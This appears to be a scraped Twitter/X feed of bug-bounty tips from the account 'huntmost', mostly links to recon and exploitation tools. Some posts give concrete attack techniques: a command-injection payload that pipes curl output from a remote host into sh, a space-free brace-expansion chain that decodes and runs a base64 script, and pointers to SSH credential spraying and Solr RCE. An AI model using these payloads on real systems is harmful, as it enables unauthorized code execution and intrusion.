huntmost

happy huntin'

[huntmost @huntmost]

forge yourself an admin token if you happen across a vcsa backup - https://t.co/DQgISgDMlR

[huntmost @huntmost]

Reverse name server lookup to see other domains using a DNS server: https://t.co/n3IB3xvtsv

😈

[huntmost @huntmost]

logger++ -> elastic FTW

https://t.co/LDk8TO4jk2

[huntmost @huntmost]

https://t.co/gR2NoO7Do3

[huntmost @huntmost]

mutatators ftw
https://t.co/MEb7aexQFy
https://t.co/SzRTMPxXtq
https://t.co/OCuLiwJOa4
https://t.co/mlX0WLzy4C

not specifically for dns, but extremely useful:
https://t.co/gNZuxysRcs

#bugbountytip

[huntmost @huntmost]

https://t.co/H7WsLH42LB

golang (fast) ssl scraper , use as input to recon domains

#bugbountytips

[huntmost @huntmost]

many a way to RCE Apache Solr nicely detailed here: https://t.co/Qa7rGV5uFU

#bugbountytips

[huntmost @huntmost]

bomb: https://t.co/K30nzD7mpw

ssh spray, exec commands, pillage , test sudo & more

😈

[huntmost @huntmost]

https://t.co/rhCtZvi1SR

g o l d

[huntmost @huntmost]

man.. year ago discovered arb upload in a vendor app, reported it, tested the fix and marked it resolved. bumped into it again about a month ago, found a bypass, got a shell. went back to the first one tonight, bypass works there too.

Not a bad day

[huntmost @huntmost]

got lucky today:

Found /someendpoint.cgi that takes user input

Manipulation of input results in a promising, potential RCE

But useful chars are cleaned :(

Fuzz /someendpoint_FUZZ.cgi and find backup file

Backup file doesn't clean input as well!

||curl x.x.x.x|sh;

🐚😁

[huntmost @huntmost]

https://t.co/R1F1XrW10g solid static binary for trying all those creds in the dmz

[huntmost @huntmost]

command injection with no spaces and no outbound?

1. base64 a complex command locally
2. {shuf,-e,"$b64",-o,$file}
3. {openssl,base64,-d,-in,$file,-out,$script}
4. {bash,$script}

https://t.co/e8tY5p3LAo

#BugBounty

[huntmost @huntmost]

3 telerik apps in a row that I can't exploit CVE-2019-18935. 2 I get 0 indication its working and 1 I can throw the smb flag and get my domain looked up but no code exec.

[huntmost @huntmost]

'KeyHacks shows ways in which particular API keys found on a Bug Bounty Program can be used, to check if they are valid.'

https://t.co/a25A5FwBbu

#bugbountytips #BugBounty

[huntmost @huntmost]

https://t.co/5c33xADlhB

[huntmost @huntmost]

https://t.co/rwlWeBQUNO

[huntmost @huntmost]

https://t.co/EGnOfzzKL9

[huntmost @huntmost]

https://t.co/8yFYe7cDOS

[huntmost @huntmost]

these zines are essential: https://t.co/m500lKjEzv